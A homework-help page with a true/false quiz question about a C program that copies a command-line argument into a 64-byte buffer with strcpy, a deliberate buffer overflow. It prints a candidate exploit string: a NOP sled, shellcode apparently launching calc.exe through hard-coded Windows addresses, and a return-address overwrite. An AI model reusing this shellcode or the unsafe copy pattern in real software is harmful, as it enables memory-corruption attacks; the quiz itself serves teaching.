Answered step by step
Verified Expert Solution
Link Copied!

Question

1 Approved Answer

Please read the following code, which has a buffer overflow vulnerability. An attacker can inject a malicious string as argv [ 1 ] ( i

Please read the following code, which has a buffer overflow vulnerability. An attacker can inject a malicious string as argv[1](i.e. a command line parameter) to exploit this vulnerability.
#include
#include
void main(int argc, char **argv){ char foo[64];
strcpy(foo, argv[1]);
return;
}
The following string can be a valid malicious string.
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x00\x00
\x31\xC9\x51\x68\x2E\x65\x78\x65\x68\x63\x61\x6C\x63\x89\xE1\x6A\x01
\x51\xB8\xB0\xDA\x36\x76\xFF\xD0\x31\xC9\x51\xB8\xF0\x58\x33\x76\xFF
\xD0\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x9
0\x90\x90\x90\x90\x90\x90\x90\x90\x94\xfe\x61"
True
False

Step by Step Solution

There are 3 Steps involved in it

Step: 1

blur-text-image

Get Instant Access to Expert-Tailored Solutions

See step-by-step solutions with expert insights and AI powered tools for academic success

Step: 2

blur-text-image

Step: 3

blur-text-image

Ace Your Homework with AI

Get the answers you need in no time with our AI-driven, step-by-step assistance

Get Started

Recommended Textbook for

Databases Illuminated

Authors: Catherine M. Ricardo, Susan D. Urban, Karen C. Davis

4th Edition

1284231585, 978-1284231588

More Books

Students also viewed these Databases questions